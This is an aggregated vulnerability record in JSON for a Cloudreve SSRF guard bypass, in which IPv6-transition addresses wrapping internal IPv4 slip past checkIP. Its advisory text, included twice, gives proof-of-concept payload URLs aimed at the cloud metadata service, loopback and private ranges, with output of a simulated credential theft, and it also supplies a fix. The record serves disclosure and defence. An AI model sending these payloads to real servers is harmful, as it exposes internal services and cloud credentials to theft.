{"id":"CVE-2026-79913","aliases":["EUVD-2026-84527","GHSA-jvh5-97xg-v99f","GO-2026-6572"],"status":"published","title":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.createDownloadTask so a wrapper embedding a loopback, private, link-local, or cloud metadata IPv4 address is classified as public and fetched, exposing internal service responses and cloud instance credentials. IPv4-mapped IPv6 addresses remain blocked because Go converts that form with net.IP.To4. This issue is fixed in version 4.18.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00402,"percentile":0.34857,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-697","CWE-918"],"published":"2026-09-22T15:24:33Z","modified":"2026-10-28T02:30:52Z","fixes":[{"ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","fixed_in":["4.0.0-20260715072853-1c5cad6dec7e"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.0-20260715072853-1c5cad6dec7e"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0-20260715072853-1c5cad6dec7e"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0-20260715072853-1c5cad6dec7e"}]}]}],"products":[{"vendor":"cloudreve","product":"cloudreve"}],"references":[{"url":"https://github.com/cloudreve/cloudreve/security/advisories/GHSA-jvh5-97xg-v99f","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/cloudreve/cloudreve/commit/1c5cad6dec7ec3037c6479e3a26a3909995d16a2","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/cloudreve/cloudreve/releases/tag/4.18.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79913","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-jvh5-97xg-v99f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/79xxx/CVE-2026-79913.json","tags":["advisory"]},{"url":"https://github.com/cloudreve/cloudreve","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-79913","title":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.createDownloadTask so a wrapper embedding a loopback, private, link-local, or cloud metadata IPv4 address is classified as public and fetched, exposing internal service responses and cloud instance credentials. IPv4-mapped IPv6 addresses remain blocked because Go converts that form with net.IP.To4. This issue is fixed in version 4.18.0.","status":"published","published":"2026-09-22T15:24:33.456Z","modified":"2026-09-22T17:44:01.258Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-918","CWE-697"],"updated_at":"2026-11-02T13:50:27.582139Z"}],"euvd":[{"id":"EUVD-2026-84527","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.createDownloadTask so a wrapper embedding a loopback, private, link-local, or cloud metadata IPv4 address is classified as public and fetched, exposing internal service responses and cloud instance credentials. IPv4-mapped IPv6 addresses remain blocked because Go converts that form with net.IP.To4. This issue is fixed in version 4.18.0.","status":"published","published":"2026-09-22T15:24:33Z","modified":"2026-09-22T17:44:01Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T17:28:02.149692Z"}],"ghsa":[{"id":"GHSA-jvh5-97xg-v99f","title":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses","description":"**Summary**\n\nCloudreve's server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go's `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services.\n\n**Affected component and versions**\n\n- Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`).\n- Affected: Cloudreve `\u003c= 4.17.0` (latest release at time of report) and current `main`.\n- Reachable by an authenticated remote-download user; administrative privileges are not required.\n\n**Vulnerable form vs correctly-guarded sibling**\n\n`checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go's `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address:\n\n- NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`.\n- IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`.\n- 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`.\n\nThe fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.\n\n**Severity**\n\nAn authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity. \n\n**Proof of concept**\n\nThe guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options.\n\nDirection 1 (shipped guard accepts the internal-embedding wrappers):\n\n```\n=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===\n[ACCEPTED] NAT64 -\u003e 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] NAT64 -\u003e 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/\n[ACCEPTED] NAT64 -\u003e 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/\n[ACCEPTED] IPv4-compatible -\u003e 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] IPv4-compatible -\u003e 127.0.0.1                    http://[::7f00:1]/\n[ACCEPTED] 6to4 -\u003e encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -\u003e link-local address 169.254.169.254: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/\nSSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6\n```\n\nFull reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.\n\n```\n[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569\n[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/\n[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)\n\n[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.\n    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)\n\n[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200\n[+] Response body (exfiltrated internal secret):\n    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n\n[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,\n         fetch returned internal secret \"IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\" with HTTP 200.\n```\n\nDirection 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):\n\n```\n=== Cloudreve guard WITH FIX applied ===\n[BLOCKED ] NAT64 -\u003e 169.254.169.254                 -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 127.0.0.1                       -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 10.0.0.1                        -\u003e private address 10.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 169.254.169.254       -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 127.0.0.1             -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] 6to4 -\u003e 169.254.169.254                  -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (control)       -\u003e loopback address 127.0.0.1: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (control, should PASS)\n[ACCEPTED] public 8.8.8.8 (control, should PASS)\nRemaining bypasses after fix: 0 (expect 0)\n```\n\n**Impact**\n\nAn authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.\n\n**Suggested fix**\n\nCanonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:\n\n```diff\n--- a/pkg/request/ssrf.go\n+++ b/pkg/request/ssrf.go\n@@ func checkIPWithAllowlist ... return checkIP(ip) }\n+\n+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the\n+// packet ultimately reaches, so checkIP classifies the real target rather than\n+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped\n+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),\n+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).\n+func effectiveIP(ip net.IP) net.IP {\n+\tif v4 := ip.To4(); v4 != nil {\n+\t\treturn v4\n+\t}\n+\tv6 := ip.To16()\n+\tif v6 == nil {\n+\t\treturn ip\n+\t}\n+\tif v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n+\t\tv6[4] == 0 \u0026\u0026 v6[5] == 0 \u0026\u0026 v6[6] == 0 \u0026\u0026 v6[7] == 0 \u0026\u0026\n+\t\tv6[8] == 0 \u0026\u0026 v6[9] == 0 \u0026\u0026 v6[10] == 0 \u0026\u0026 v6[11] == 0 {\n+\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t}\n+\tif v6[0] == 0x20 \u0026\u0026 v6[1] == 0x02 {\n+\t\treturn net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()\n+\t}\n+\tallZeroTop := true\n+\tfor i := 0; i \u003c 12; i++ {\n+\t\tif v6[i] != 0 {\n+\t\t\tallZeroTop = false\n+\t\t\tbreak\n+\t\t}\n+\t}\n+\tif allZeroTop {\n+\t\tlast := uint32(v6[12])\u003c\u003c24 | uint32(v6[13])\u003c\u003c16 | uint32(v6[14])\u003c\u003c8 | uint32(v6[15])\n+\t\tif last \u003e 1 {\n+\t\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t\t}\n+\t}\n+\treturn ip\n+}\n+\n func checkIP(ip net.IP) error {\n+\tip = effectiveIP(ip)\n \tif ip == nil {\n \t\treturn fmt.Errorf(\"invalid IP: %w\", ErrUnsafeURL)\n \t}\n```\n\nAs defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.\n\n**Credit**\n\ntonghuaroot (tonghuaroot@gmail.com).","status":"published","published":"2026-09-22T20:40:41Z","modified":"2026-09-22T20:40:43Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-697","CWE-918"],"updated_at":"2026-11-02T14:41:20.575159Z"}],"nvd":[{"id":"CVE-2026-79913","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.createDownloadTask so a wrapper embedding a loopback, private, link-local, or cloud metadata IPv4 address is classified as public and fetched, exposing internal service responses and cloud instance credentials. IPv4-mapped IPv6 addresses remain blocked because Go converts that form with net.IP.To4. This issue is fixed in version 4.18.0.","status":"published","published":"2026-09-22T16:17:57.033Z","modified":"2026-09-22T18:17:19.667Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-697","CWE-918"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-79913","title":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses","description":"Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, the ValidateExternalURL server-side request forgery guard in pkg/request/ssrf.go passes resolved addresses to checkIP without decoding NAT64, IPv4-compatible, and 6to4 IPv4-in-IPv6 transition forms. An authenticated user with remote-download access can provide SrcUri through RemoteDownloadTask.createDownloadTask so a wrapper embedding a loopback, private, link-local, or cloud metadata IPv4 address is classified as public and fetched, exposing internal service responses and cloud instance credentials. IPv4-mapped IPv6 addresses remain blocked because Go converts that form with net.IP.To4. This issue is fixed in version 4.18.0.","status":"published","published":"2026-09-22T15:24:33.456Z","modified":"2026-10-28T02:30:52.983425754Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-697","CWE-918"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"GHSA-jvh5-97xg-v99f","title":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses","description":"**Summary**\n\nCloudreve's server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go's `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services.\n\n**Affected component and versions**\n\n- Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`).\n- Affected: Cloudreve `\u003c= 4.17.0` (latest release at time of report) and current `main`.\n- Reachable by an authenticated remote-download user; administrative privileges are not required.\n\n**Vulnerable form vs correctly-guarded sibling**\n\n`checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go's `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address:\n\n- NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`.\n- IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`.\n- 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`.\n\nThe fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.\n\n**Severity**\n\nAn authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity. \n\n**Proof of concept**\n\nThe guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options.\n\nDirection 1 (shipped guard accepts the internal-embedding wrappers):\n\n```\n=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===\n[ACCEPTED] NAT64 -\u003e 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] NAT64 -\u003e 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/\n[ACCEPTED] NAT64 -\u003e 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/\n[ACCEPTED] IPv4-compatible -\u003e 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] IPv4-compatible -\u003e 127.0.0.1                    http://[::7f00:1]/\n[ACCEPTED] 6to4 -\u003e encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -\u003e link-local address 169.254.169.254: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/\nSSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6\n```\n\nFull reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.\n\n```\n[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569\n[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/\n[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)\n\n[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.\n    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)\n\n[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200\n[+] Response body (exfiltrated internal secret):\n    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n\n[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,\n         fetch returned internal secret \"IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\" with HTTP 200.\n```\n\nDirection 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):\n\n```\n=== Cloudreve guard WITH FIX applied ===\n[BLOCKED ] NAT64 -\u003e 169.254.169.254                 -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 127.0.0.1                       -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 10.0.0.1                        -\u003e private address 10.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 169.254.169.254       -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 127.0.0.1             -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] 6to4 -\u003e 169.254.169.254                  -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (control)       -\u003e loopback address 127.0.0.1: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (control, should PASS)\n[ACCEPTED] public 8.8.8.8 (control, should PASS)\nRemaining bypasses after fix: 0 (expect 0)\n```\n\n**Impact**\n\nAn authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.\n\n**Suggested fix**\n\nCanonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:\n\n```diff\n--- a/pkg/request/ssrf.go\n+++ b/pkg/request/ssrf.go\n@@ func checkIPWithAllowlist ... return checkIP(ip) }\n+\n+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the\n+// packet ultimately reaches, so checkIP classifies the real target rather than\n+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped\n+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),\n+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).\n+func effectiveIP(ip net.IP) net.IP {\n+\tif v4 := ip.To4(); v4 != nil {\n+\t\treturn v4\n+\t}\n+\tv6 := ip.To16()\n+\tif v6 == nil {\n+\t\treturn ip\n+\t}\n+\tif v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n+\t\tv6[4] == 0 \u0026\u0026 v6[5] == 0 \u0026\u0026 v6[6] == 0 \u0026\u0026 v6[7] == 0 \u0026\u0026\n+\t\tv6[8] == 0 \u0026\u0026 v6[9] == 0 \u0026\u0026 v6[10] == 0 \u0026\u0026 v6[11] == 0 {\n+\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t}\n+\tif v6[0] == 0x20 \u0026\u0026 v6[1] == 0x02 {\n+\t\treturn net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()\n+\t}\n+\tallZeroTop := true\n+\tfor i := 0; i \u003c 12; i++ {\n+\t\tif v6[i] != 0 {\n+\t\t\tallZeroTop = false\n+\t\t\tbreak\n+\t\t}\n+\t}\n+\tif allZeroTop {\n+\t\tlast := uint32(v6[12])\u003c\u003c24 | uint32(v6[13])\u003c\u003c16 | uint32(v6[14])\u003c\u003c8 | uint32(v6[15])\n+\t\tif last \u003e 1 {\n+\t\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t\t}\n+\t}\n+\treturn ip\n+}\n+\n func checkIP(ip net.IP) error {\n+\tip = effectiveIP(ip)\n \tif ip == nil {\n \t\treturn fmt.Errorf(\"invalid IP: %w\", ErrUnsafeURL)\n \t}\n```\n\nAs defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.\n\n**Credit**\n\ntonghuaroot (tonghuaroot@gmail.com).","status":"published","published":"2026-09-22T20:40:41Z","modified":"2026-10-01T20:56:00.08011046Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-697","CWE-918"],"updated_at":"2026-11-02T15:46:51.10002Z"},{"id":"GO-2026-6572","title":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses in github.com/cloudreve/Cloudreve","description":"Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses in github.com/cloudreve/Cloudreve","status":"published","published":"2026-10-01T20:23:38Z","modified":"2026-10-01T20:45:14.077740531Z","updated_at":"2026-11-02T15:47:03.11707Z"}]}}
